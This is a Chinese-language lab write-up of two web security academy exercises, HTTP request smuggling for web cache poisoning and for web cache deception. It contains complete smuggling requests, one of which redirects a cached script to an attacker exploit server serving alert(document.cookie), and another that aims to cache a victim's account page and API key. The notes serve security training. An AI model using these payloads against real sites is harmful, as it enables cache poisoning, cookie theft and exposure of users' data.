需要多次反复发送数据包,知道出现404响应。因不知道目标用户核实访问,需要反复尝试
11. 利用HTTP请求走私来执行Web缓存中毒 (Exploiting HTTP request smuggling to perform web cache poisoning)
使受害用户收到中毒缓存,加载恶意js,执行alert(document.cookie) 前端服务器不支持chunked encoding
,会对某些相应进行缓存
-
- 在文章中,发现下一个链接点击,发现存在Host漏洞
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
- 在攻击机head中设置 Content-Type: text/javascript; charset=utf-8
body: alert(document.cookie)
POST / HTTP/1.1
Host: ac921fe81f97f4a7c022050100610036.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 193
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: exploit-acc01f481ff3f44ac06d05c1018e0059.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
GET /resources/js/tracking.js HTTP/1.1
Host: ac921fe81f97f4a7c022050100610036.web-security-academy.net
Connection: close
- 反复发送,刷新浏览器。
12. 利用HTTP请求走私进行Web缓存欺骗 (Exploiting HTTP request smuggling to perform web cache deception)
生成存有受害用户敏感数据 API key 的缓存,找到该缓存,提交敏感数据。 前端服务器不支持chunked encoding
,会缓存静态资源。可以登陆攻击者申请的测试账户熟悉web程序
该靶场整个思路比较完整
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Transfer-Encoding: chunked
0
GET /my-account HTTP/1.1
X-Ignore: X